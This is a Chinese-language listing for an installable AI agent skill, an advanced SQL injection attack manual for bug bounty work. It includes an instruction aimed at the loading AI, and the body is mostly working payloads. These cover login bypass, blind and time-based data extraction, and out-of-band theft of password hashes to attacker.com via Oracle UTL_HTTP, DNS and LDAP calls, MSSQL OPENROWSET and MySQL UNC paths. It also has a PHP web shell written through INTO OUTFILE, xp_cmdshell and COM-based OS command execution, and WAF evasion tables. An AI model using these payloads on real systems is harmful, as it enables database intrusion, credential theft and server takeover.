关于 sqli-sql-injection
面向安全研究人员和漏洞赏金猎人的高级 SQL 注入手册,按数据库类型、注入行为和升级路径组织测试,并指向扩展场景参考资料。
主要功能
- 01按数据库类型测试 SQLi
- 02布尔与时间盲注推断
- 03带外数据提取
- 04分析二阶注入
- 05过滤规避与权限升级
适用场景
- 01验证疑似 SQL 注入点
- 02根据错误识别数据库
- 03调查盲注行为
- 04检查存储输入的查询流程
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill sqli-sql-injection安装后在 Claude Code 中输入/sqli-sql-injection确认已加载。
附带文件SCENARIOS.mdSQLMAP_ADVANCED.md
详细介绍
技能:SQL 注入 — 专家攻击手册
AI 加载指令:高级 SQLi 技术。假设已掌握 UNION、错误型和布尔盲注基础。重点介绍:针对不同数据库的利用、带外数据窃取、二阶注入、参数化查询绕过场景、过滤器规避,以及提权至操作系统。有关真实世界的 CVE 案例、SMB/DNS 带外数据窃取、INSERT/UPDATE 注入模式,以及特定框架的利用方式(ThinkPHP、Django GIS),请加载配套的 SCENARIOS.md。
0. 相关路由
- 当后端是 使用 Jackson 的 Java,且 SQL 关键字被 WAF 拦截时,使用 ghost-bits-cast-attack——Jackson 的
charToHex表通过ch & 0xFF索引,因此像丰(U+4E30)这样的 Unicode 字符会在\uXXXX转义序列中解析为十六进制数字0,让你能偷偷嵌入UNION、SELECT、1等内容,而 WAF 完全检测不到
1. 快速入门
扩展场景
在以下情况下,也请加载 SCENARIOS.md:
- 通过
LOAD_FILE+ UNC 路径进行 SMB 带外数据窃取(Windows MySQL) - KEY 注入 / URI 注入 / 非参数化注入点
- INSERT/DELETE/UPDATE 语句注入差异
- ThinkPHP5 数组键注入(基于
updatexml的错误注入) - Django GIS Oracle
utl_inaddr.get_host_nameCVE - ORDER BY / LIMIT 注入技术
高级参考
在以下情况下,也请加载 SQLMAP_ADVANCED.md:
- SQLMap tamper 脚本矩阵和 WAF 绕过 tamper 链配方(space2comment、between、charencode 等)
--technique、--risk/--level组合,以及用于二阶注入的--second-url- 通过 SQLMap 使用
--os-shell/--os-pwn进行操作系统层面的利用 - INSERT/UPDATE/DELETE 注入模式及数据窃取示例
- GraphQL + SQL 注入(批量查询、嵌套字段注入、mutation 注入)
- 特定数据库的高级函数:PostgreSQL 美元符号引用、MSSQL 链接服务器、Oracle DBMS_PIPE/DBMS_SCHEDULER
如果你只确认了一个可疑的 SQL 接收点,请先不要加载额外的 payload 技能;先在此处完成第一轮验证。
第一轮 payload 类型
| 情况 | 从以下内容开始 | 原因 |
|---|---|---|
| 登录或布尔分支 | ' or 1=1-- | 快速检测身份验证或条件检查 |
| 数值参数 | 1 or 1=1 | 避免依赖引号 |
| ORDER BY / 排序 | 1,2,3,然后是 1 desc-- | 适合进行结构探测 |
| 可见 SQL 错误 | ',然后尝试特定 DBMS 的错误探测 | 错误文本可提供 DBMS 线索 |
| 无可见输出 | 基于时间的 payload | 适用于盲注目标的稳定备用方法 |
| 过滤严格 / WAF | 多态或无空白变体 | 扩大解析器混淆范围 |
少量且稳定的第一轮测试集
'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--
DBMS 路由提示
| 线索 | 可能的 DBMS | 推荐的下一步 |
|---|---|---|
You have an error in your SQL syntax | MySQL | 尝试 SLEEP() 和 @@version |
Microsoft OLE DB Provider | MSSQL | 尝试 WAITFOR DELAY |
PG:: / PostgreSQL | PostgreSQL | 尝试 pg_sleep() |
ORA- 前缀 | Oracle | 转向带外或 XML 功能 |
| SQLite 错误、本地应用 | SQLite | 重点测试布尔注入 / UNION 和基于文件的行为 |
1. 检测 — 不易察觉的迹象
大多数 SQLi 是通过行为差异而非错误发现的:
| 信号 | 含义 |
|---|---|
页面在 ' 和 '' 下的加载情况不同 | 字符串上下文注入点 |
数值:1、1-1 和 2-1 返回相同结果 | 执行了算术运算 |
条件中的 1=1 和 1=2 会改变结果 | 基于布尔值的注入 |
| 使用 ORDER BY N 的 SELECT:枚举列数 | 为 UNION 做准备 |
时间延迟:'; WAITFOR DELAY '0:0:5'-- | 盲注 / 基于时间的注入 |
' 返回 500 错误,'' 返回 200 | 未处理的异常 = SQLi |
| HTTP 响应大小不同 | 布尔盲注迹象 |
重要:测试所有参数类型——URL 查询参数、POST 请求体、JSON 字段、XML 值、HTTP 标头(X-Forwarded-For、User-Agent、Referer、Cookie 值)。
2. 数据库指纹识别
-- MySQL
VERSION() -- returns version string
@@datadir -- data directory
@@global.secure_file_priv -- file read restriction
-- MSSQL
@@VERSION -- includes "Microsoft SQL Server"
DB_NAME() -- current database
USER_NAME() -- current user
-- Oracle
v$version -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name -- current db (alternative)
user -- current Oracle user
-- PostgreSQL
version() -- returns version
current_database() -- current db
current_user -- current user
基于错误的指纹识别:注入 ' 并读取错误消息格式。MySQL 的错误与 Oracle/MSSQL 不同。
3. 基于 UNION 的数据提取
确定列数:
ORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← until error = N-1 columns
检测列类型(NULL 最安全):
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← find string column
特定数据库的字符串拼接(列仅接受 int 时必需):
-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password
4. 盲注 — 推断技术
布尔盲注(条件响应差异)
-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--
基于时间的盲注(响应无差异)
-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
5. 带外(OOB)数据窃取 — 关键
当盲注没有时间或布尔指示器,或批量查询无法直接返回数据时使用。
MSSQL — OpenRowSet(需要 SQLOLEDB 和出站 TCP)
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--
使用 80 或 443 端口绕过防火墙的出站流量限制。
Oracle — UTL_HTTP(通过 URL 路径中的数据发起 HTTP GET)
'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--
Oracle 的 UTL_HTTP 支持代理 — 可以通过企业代理窃取数据!
Oracle — UTL_INADDR(DNS 窃取 — 通常可绕过 HTTP 限制)
'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--
攻击者看到:HASH_VALUE.attacker.com DNS 查询 → 读取密码哈希。
Oracle — UTL_SMTP / UTL_TCP
-- Email large data dumps:
UTL_SMTP.SENDMAIL(...) -- send query results via email
-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)
MySQL — 通过 LOAD_FILE 进行 DNS 查询(Windows + UNC 路径)
SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB
MySQL — INTO OUTFILE(带内文件系统写入)
SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''
6. 权限提升 — 执行 OS 命令
MSSQL — xp_cmdshell(如果已启用,或拥有 sysadmin 权限)
'; EXEC xp_cmdshell('whoami')--
-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
MySQL — UDF(用户定义函数)
将恶意共享库写入文件系统,然后执行 CREATE FUNCTION ... SONAME。
Oracle — Java 存储过程
-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime
7. 二阶注入
概念:用户输入以安全方式存储(使用参数化查询),但之后被作为可信数据取出,并在未经重新清理的情况下拼接到新查询中。
攻击流程示例:
- 注册用户名:
admin'-- - 应用程序将其安全地插入 users 表
- 密码更改函数从会话中获取用户名(可信!)并构建:
UPDATE users SET password='newpass' WHERE username='admin'--' - 注释移除条件 → 更改 admin 的密码
关键见解:任何读取已存储数据并将其用于新的数据库查询的应用程序函数,都是二阶注入的潜在入口。检查:密码更改、个人资料更新、针对用户数据的管理操作。
8. 参数化查询绕过场景
在以下情况下,参数化查询无法防止 SQLi:
-
表名/列名由用户控制 — 参数无法参数化标识符:
-- UNSAFE even with params: "SELECT * FROM " + tableName + " WHERE id = ?"缓解措施:使用白名单验证表名/列名。
-
部分参数化 — 部分字段使用拼接,其他字段使用参数化查询:
"SELECT * FROM users WHERE type='" + userType + "' AND id=?" -- userType not parameterized → injection -
IN 子句中的动态数量(ORM 中常见的错误):
SELECT * FROM items WHERE id IN (1, 2, ?) -- only last is parameterized -
二阶注入 — 假定从数据库中取出的数据是干净的,在未使用参数化查询的情况下将其重新用于查询。
9. 过滤器规避技术
注释注入(打断关键字)
SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--
大小写变化
UnIoN SeLeCt
URL 编码
%55NION -- U
%53ELECT -- S
空白字符替代方案
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users -- tab
SELECT%0ausername%0aFROM%0ausers -- newline
字符串构造(绕过字面字符串检测)
-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101) -- 'username'
-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)
-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)
10. 数据库元数据提取
MySQL
SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'
MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U' -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')
Oracle
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users -- requires DBA
PostgreSQL
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'
11. 滥用存储过程
MSSQL — sp_OAMethod(COM 自动化)
DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'
Oracle — DBMS_LDAP(出站 LDAP = DNS 数据窃取)
SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual
12. 快速参考 — 注入测试字符串
' -- break string context
'' -- escaped quote (test handling)
' OR 1=1-- -- auth bypass attempt
' OR 'a'='a -- alternate auth bypass
'; SELECT 1-- -- statement termination
' UNION SELECT NULL-- -- UNION test
' AND 1=1-- -- boolean true
' AND 1=2-- -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)-- -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay
13. WAF 绕过矩阵
| 技术 | 被拦截 | 绕过方式 |
|---|---|---|
| 空格被过滤 | SELECT * FROM | SELECT/**/*//**/FROM, SELECT%0a*%0aFROM |
| 逗号被过滤 | UNION SELECT 1,2,3 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c |
| 引号被过滤 | 'admin' | 0x61646D696E(十六进制)、CHAR(97,100,109,105,110) |
| OR/AND 被过滤 | OR 1=1 | ||1=1, &&1=1, DIV 0 |
| = 被过滤 | id=1 | id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1 |
| SELECT 被过滤 | 使用 handler(MySQL)、PREPARE+hex 或堆叠查询 | |
| information_schema 被过滤 | mysql.innodb_table_stats, sys.schema_table_statistics |
其他 WAF 绕过模式:
- 多态注入:
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ - 路由注入:
1' UNION SELECT 0x(inner_payload_hex)-- -,其中内部载荷是另一个经过十六进制编码的完整查询 - 二阶注入:将数据注入存储,在数据稍后被用于另一个查询时触发
- PDO 模拟预处理:当
PDO::ATTR_EMULATE_PREPARES=true时,即使代码看起来使用了参数化查询,堆叠查询仍然有效
14. WAF 绕过矩阵
无空格绕过
SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)
无逗号绕过
-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0
多态注入
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
路由注入
-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context
二阶注入
-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'
PDO / 预处理语句边缘情况
// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
入口点检测(Unicode 技巧)
U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '